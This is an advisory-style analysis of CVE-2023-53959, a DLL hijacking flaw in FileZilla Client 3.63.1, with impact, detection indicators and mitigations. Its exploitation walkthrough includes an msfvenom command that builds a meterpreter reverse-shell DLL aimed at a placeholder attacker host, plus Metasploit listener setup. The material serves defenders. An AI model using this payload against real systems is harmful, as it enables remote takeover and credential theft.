CVE-2023-53959: 
FileZilla FTP Client vulnerability analysis and mitigation

CVE-2023-53959 is a DLL hijacking vulnerability in FileZilla Client 3.63.1 that allows attackers to execute arbitrary code by placing a malicious TextShaping.dll in the application's directory. The vulnerability was assigned by VulnCheck and published on December 19, 2025. It affects only FileZilla Client version 3.63.1 on Windows. The CNA-assigned CVSS v3.1 base score is 9.8 (Critical), while the CVSS v4.0 base score is 8.5 (High) (VulnCheck Advisory, NVD).

The vulnerability is classified as CWE-427 (Uncontrolled Search Path Element). FileZilla Client 3.63.1 attempts to load TextShaping.dll at application startup but does not validate the DLL's location or integrity, allowing an attacker-controlled DLL placed in the application directory to be loaded instead of the legitimate system library. Exploitation requires an attacker to have write access to the FileZilla Client installation directory — a local precondition — after which the malicious DLL executes automatically when the application launches. A public proof-of-concept exploit demonstrating reverse shell generation via msfvenom is available on Exploit-DB (Exploit-DB PoC, VulnCheck Advisory).

Successful exploitation results in arbitrary code execution with the privileges of the user running FileZilla Client, enabling complete compromise of the affected system. An attacker can achieve full confidentiality, integrity, and availability impact — including credential theft (e.g., stored FTP credentials), data exfiltration, and installation of persistent malware. If the application is run with elevated privileges, the impact extends to full system takeover and potential lateral movement within the network (VulnCheck Advisory, NVD).

1. Reconnaissance: Identify target systems running FileZilla Client 3.63.1 on Windows. Confirm the application is installed and determine the installation directory (typically C:\Program Files\FileZilla FTP Client\).
2. Gain write access: Obtain write permissions to the FileZilla Client installation directory through a separate vulnerability, social engineering, or by exploiting misconfigured directory permissions.
3. Generate malicious DLL: Use msfvenom to create a reverse shell payload packaged as a DLL: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f dll -o TextShaping.dll.
4. Place the malicious DLL: Copy the crafted TextShaping.dll into the FileZilla Client application directory, replacing or creating the missing DLL that the application searches for at startup.
5. Set up listener: On the attacker machine, start a Metasploit listener: use exploit/multi/handler, configure the matching payload and LHOST/LPORT, then run.
6. Trigger execution: Wait for or induce the victim to launch FileZilla Client. Upon startup, the application loads the malicious TextShaping.dll, executing the reverse shell payload and establishing a connection to the attacker's listener with the victim user's privileges (Exploit-DB PoC, VulnCheck Advisory).

• File System: Presence of an unexpected or unsigned TextShaping.dll in the FileZilla Client installation directory (e.g., C:\Program Files\FileZilla FTP Client\TextShaping.dll); file creation or modification timestamps on DLLs in the application directory that do not align with installation or update events.
• Process: Unusual child processes spawned by filezilla.exe (e.g., cmd.exe, powershell.exe, network tools); outbound network connections initiated by filezilla.exe to unexpected external IP addresses.
• Network: Outbound TCP connections from the FileZilla Client process to non-FTP ports (e.g., 4444, 4445) or unknown external hosts, particularly shortly after application launch.
• Logs: Windows Event Logs (Security/System) showing DLL load events for TextShaping.dll from the application directory rather than a system path; Sysmon Event ID 7 (Image Loaded) entries for TextShaping.dll loaded by filezilla.exe from a non-system location.

Users should upgrade FileZilla Client to a version newer than 3.63.1 as soon as a patched release is available from the FileZilla Project (FileZilla Project). Until a patch is applied, restrict write access to the FileZilla Client installation directory to prevent unauthorized DLL placement, and run FileZilla Client with the least privileges necessary. Implement application whitelisting (e.g., via Windows Defender Application Control or AppLocker) to block unsigned or unexpected DLLs from loading, and monitor the application directory for unexpected file changes, particularly to TextShaping.dll (VulnCheck Advisory).

The Hacker Wire published a dedicated article covering the vulnerability and its remote code execution implications, noting the availability of a public PoC (The Hacker Wire). The vulnerability was included in CISA's weekly vulnerability bulletin (SB25-356) and noted in a weekly security roundup by The Hacker Wire. Community discussion has been limited, with no major vendor statements from the FileZilla Project observed in available data.